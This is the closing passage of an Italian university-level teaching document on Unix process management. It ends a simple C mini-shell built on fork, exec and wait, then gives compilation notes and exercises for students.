        } else if (WIFSIGNALED(status)) {
            printf("Terminato da segnale %d\n", WTERMSIG(status));
            return -1;
        }
    }
    
    return 0;
}

int main() {
    char line[MAX_LINE];
    char *args[MAX_ARGS];
    
    printf("Mini-Shell - digita 'exit' per uscire\n");
    
    while (1) {
        printf("$ ");
        fflush(stdout);
        
        if (fgets(line, MAX_LINE, stdin) == NULL) {
            break;  // EOF
        }
        
        // Rimuovi newline finale
        line[strcspn(line, "\n")] = 0;
        
        // Ignora linee vuote
        if (strlen(line) == 0) {
            continue;
        }
        
        // Comando built-in: exit
        if (strcmp(line, "exit") == 0) {
            break;
        }
        
        // Parsing e esecuzione
        parse_command(line, args);
        
        if (args[0] != NULL) {
            // Comando built-in: cd
            if (strcmp(args[0], "cd") == 0) {
                if (args[1] == NULL) {
                    fprintf(stderr, "cd: argomento mancante\n");
                } else if (chdir(args[1]) < 0) {
                    perror("cd");
                }
            } else {
                // Comando esterno
                execute_command(args);
            }
        }
    }
    
    printf("Arrivederci!\n");
    return 0;
}

Compilazione ed esecuzione:

gcc -Wall -o minishell minishell.c
./minishell

Funzionalità:

Limitazioni (per semplicità didattica):

Questa applicazione dimostra l’integrazione pratica di tutti i concetti trattati: fork() per creare processi, exec() per eseguire programmi, wait() per sincronizzazione e gestione dello status.


Fine del Documento


Note sulla Compilazione degli Esempi:

Tutti gli esempi di codice presentati in questo documento possono essere compilati con un compilatore C standard (gcc, clang) su sistemi Unix/Linux:

gcc -Wall -Wextra -std=c11 -o programma programma.c

È raccomandato abilitare i warning (-Wall -Wextra) per individuare potenziali problemi. Per applicazioni di produzione, considerare anche flag di ottimizzazione (-O2) e sicurezza (-D_FORTIFY_SOURCE=2, -fstack-protector-strong).

Esercizi Proposti:

  1. Implementare un programma che crei una gerarchia di processi ad albero (padre con N figli, ogni figlio con M figli).

  2. Scrivere un’applicazione che esegua comandi in parallelo e raccolga i risultati (simile a GNU parallel).

  3. Implementare un server concorrente che gestisca connessioni socket usando fork.

  4. Creare un sistema di job scheduling che esegua comandi a orari specificati (simile a cron).

  5. Sviluppare un debugger semplificato che usi fork() e ptrace() per tracciare le system call di un processo.


Questo documento costituisce materiale didattico per corsi universitari e di istituto tecnico superiore in Sistemi Operativi, Programmazione di Sistema e materie correlate. La trattazione combina rigore accademico con applicabilità pratica, fornendo sia fondamenti teorici che esempi concreti di implementazione.